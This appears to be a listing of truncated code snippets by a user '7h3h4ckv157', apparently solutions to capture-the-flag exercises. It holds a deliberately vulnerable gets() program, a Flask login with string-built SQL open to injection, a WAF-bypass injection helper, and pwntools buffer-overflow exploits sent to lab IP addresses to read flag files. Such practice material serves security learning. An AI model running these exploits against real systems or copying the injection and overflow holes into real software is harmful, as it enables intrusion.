7h3h4ckv157

#include <stdio.h>

void overflow() {
    char buffer[64];

    printf("try your best\n");
    gets(buffer);
}

int main() {

7h3h4ckv157

#!/usr/env/python2
# Author : 7h3h4ckv157
# https://github.com/7h3h4ckv157
# https://twitter.com/7h3h4ckv157


from pwn import *

p = process('./ret2libc')

7h3h4ckv157

#!/usr/bin/env python3

import flask
import psycopg2
import datetime
import hashlib
from skynet import Skynet

app = flask.Flask(__name__, static_url_path='')
skynet = Skynet()

7h3h4ckv157

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)

7h3h4ckv157

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)

7h3h4ckv157

import requests
import time
import string

TIMEOUT = 10

def waf_bypass(payload):
    return "||".join([f"'{c}'" for c in payload])

def peek(substring):

7h3h4ckv157

from pwn import *
 

payload = b"A"*60
connect = remote('10.10.27.163', '9001')

connect.sendline(payload)

connect.sendline('id')
connect.sendline('cat flag.txt')

7h3h4ckv157

from pwn import *

connect = remote('10.10.205.35', '9002')

payload = b"A"*104 + p32(0xc0d3) + p32(0xc0ff33)

connect.recv()
connect.sendline(payload)
connect.sendline('id');connect.sendline('cat flag.txt')
connect.interactive()

7h3h4ckv157

from pwn import *


p = process("./pwn103.pwn103")

payload = b"A"*40 + p64(0x00401554)

p.sendline(b"3")
p.recv()
p.sendline(payload)

7h3h4ckv157

from pwn import *


p = remote("10.10.229.12","9003")

payload = b"A"*40 + p64(0x00401554) + p64(0x00401554)
p.sendline(b"3")
p.recv()
p.sendline(payload)
p.recv()